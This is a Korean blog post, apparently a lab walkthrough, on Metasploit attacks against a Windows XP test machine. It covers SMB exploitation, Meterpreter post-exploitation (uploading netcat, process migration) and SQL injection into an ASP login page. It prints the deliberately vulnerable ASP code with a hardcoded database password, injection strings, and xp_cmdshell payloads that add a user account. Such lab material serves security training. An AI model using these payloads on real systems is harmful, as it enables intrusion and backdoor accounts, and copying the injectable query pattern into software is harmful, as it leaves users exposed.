메타스플로잇을 활용한 간략한 보안 테스트를 진행해 보자.
ㅇ XP: 192.168.182.152 (Victim)
ㅇ backtrack : 192.168.182.151 (Attacker)
- 이기종 간 파일전송을 위해 만들어진 프로토콜이지만, 최근에는 프린터와 통신을 위해서 사용되고 있음
SMB 버전 및 취약점이 있는지 확인하는 module을 실행한다.
SMB 취약점이 존재하므로, 관련된 Exploit 를 실행하고, 연결할 수 있는 payload를 실행한다.
meterpreter에서 추가 모듈 로드 (ex. load sniffer ) 후, 현재 로딩된 모듈 확인 (ex. load -l)
현재 Running 되고 있는 pid를 확인하고, 확인된 PID가 누구인지 확인 (ps 명령어)
파일을 업로드 해본다. (nc를 올려보는 예제..)
Meterpreter에서 실행을 해도, 실제 Victim (XP) 화면에서는 실행이 되지 않는다.
이 이유는, 현재 Parents는 SVCHOST로 GUI 라이브러리를 포함하지 않고 있다. (User32.dll)
따라서, User32.dll을 포함하고 있는... (기본 Shell을 포함하고 있는 ) Explorer.exe로 Parents 프로세스를 옮겨보자.
- Migrate <explorer.exe의 PID>
Process Migrate 이후, 다시 nc를 실행하면, Victim의 화면에 nc 실행창이 뜨는 것을 확인할 수 있다.
[실행중인 프로세스 끄기]
- 대상 프로세스 PID : 3332
예제) Microsoft SQL Server Payload Execution (mssql_payload_sqli)
ID : ' union select 1,1 --
PW : 1
[소스 코드]
<%
id = Trim(request("id"))
password = Trim(request("password"))
Tblname = "login_test"
Dim strConnect, dbCon, rs
strConnect = "Provider=SQLOLEDB;Data Source=(local);Initial Catalog=testOK;User ID=sa;Password=raon0011;"
set dbCon = Server.CreateObject ("ADODB.Connection")
dbCon.Open strConnect
QUERY = "SELECT id, password FROM " & Tblname & " WHERE UPPER(id)='"& UCase(id) &"'"
SET rs = dbCon.execute(QUERY)
If ( rs.bof OR rs.eof ) Then
response.write "<script>alert('Error.!\n\nID!');history.go(-1);</script>"
Else
If Trim(rs("password")) <> password Then
response.write "<script>alert('Error.\n\nPassword!');history.go(-1);</script>"
Else
session("id") = trim(rs("id"))
rs.close
Set rs= Nothing
dbCon.Close
Set dbCon= Nothing
response.write "Login OK"
End If
End If
%>
[xp_cmdshell]
'; exec master..xp_cmdshell 'mkdir c:\kkk';--
';exec master..xp_cmdshell 'net user whitehat /add';--
FASTTRAck-interface를 실행하고, 아래와 같이 입력.
http://192.168.182.152/loginCheck.asp?id='INJECTHERE+union+select+1%2C1--&password=1&x=36&y=29
Single Line Web Shell (0) | 2020.03.10 |
---|---|
구형 스마트폰 활용 - 스마트폰 전원연결 시 자동 부팅 (2) | 2020.03.10 |
댓글 영역